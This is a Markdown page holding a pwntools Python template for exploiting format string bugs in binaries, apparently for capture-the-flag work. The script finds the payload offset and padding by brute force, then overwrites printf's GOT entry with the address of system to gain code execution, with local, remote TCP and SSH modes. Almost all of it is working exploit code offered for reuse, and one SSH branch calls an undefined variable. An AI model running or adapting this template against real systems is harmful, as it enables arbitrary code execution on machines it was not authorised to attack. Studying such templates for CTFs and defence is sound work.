117 lines
3.8 KiB
Markdown
117 lines
3.8 KiB
Markdown
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# Format String Template
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```python
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from pwn import *
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####################
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#### CONNECTION ####
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####################
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# Define how you want to exploit the binary
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LOCAL = True
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REMOTETTCP = False
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REMOTESSH = False
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GDB = False
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# Configure vulnerabily binary
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LOCAL_BIN = "./tyler"
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REMOTE_BIN = "./tyler" #For ssh
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# In order to exploit the format string you may need to append/prepend some string to the payload
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# configure them here
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PREFIX_PAYLOAD = b"echo "
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SUFFIX_PAYLOAD = b""
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def connect_binary():
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global P, ELF_LOADED, ROP_LOADED
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if LOCAL:
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P = process(LOCAL_BIN) # start the vuln binary
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ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
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ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
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elif REMOTETTCP:
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P = remote('10.10.10.10',1338) # start the vuln binary
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ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
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ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
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elif REMOTESSH:
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ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
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P = ssh_shell.process(REMOTE_BIN) # start the vuln binary
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ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
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ROP_LOADED = ROP(elf)# Find ROP gadgets
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if GDB and not REMOTETTCP and not REMOTESSH:
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# attach gdb and continue
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# You can set breakpoints, for example "break *main"
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gdb.attach(P.pid, "b *main")
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########################################
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#### Get format string configuration ###
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########################################
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def send_payload(payload):
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payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD
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log.info("payload = %s" % repr(payload))
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P.sendline(payload)
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return P.recv()
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def get_formatstring_config():
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global P
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for offset in range(1,1000):
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connect_binary()
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P.clean()
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payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p"
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recieved = send_payload(payload).strip()
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if b"41" in recieved:
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for padlen in range(0,4):
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if b"41414141" in recieved:
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payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p"
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recieved = send_payload(payload).strip()
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print(recieved)
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if b"42424242" in recieved:
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log.info(f"Found offset ({offset}) and padlen ({padlen})")
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return offset, padlen
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else:
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payload = b" " + payload
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recieved = send_payload(payload).strip()
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# In order to exploit a format string you need to find a position where part of your payload
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# is being reflected. Then, you will be able to put in the position arbitrary addresses
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# and write arbitrary content in those addresses
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# Therefore, the function get_formatstring_config will find the offset and padd needed to exploit the format string
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offset, padlen = get_formatstring_config()
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# In this template, the GOT of printf (the part of the GOT table that points to where the printf
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# function resides) is going to be modified by the address of the system inside the PLT (the
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# part of the code that will jump to the system function).
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# Therefore, next time the printf function is executed, system will be executed instead with the same
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# parameters passed to printf
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SYSTEM_PLT = ELF_LOADED.plt["system"]
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P_GOT = ELF_LOADED.got["printf"]
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log.info(f"System PLT address: {hex(SYSTEM_PLT)}")
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log.info(f"Printf GOT address: {hex(P_GOT)}")
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format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen)
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format_string.write(P_GOT, SYSTEM_PLT)
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format_string.execute_writes()
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# Now that printf function is executing system you just need to find a place where you can
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# control the parameters passed to printf to execute arbitrary code.
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P.interactive()
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```
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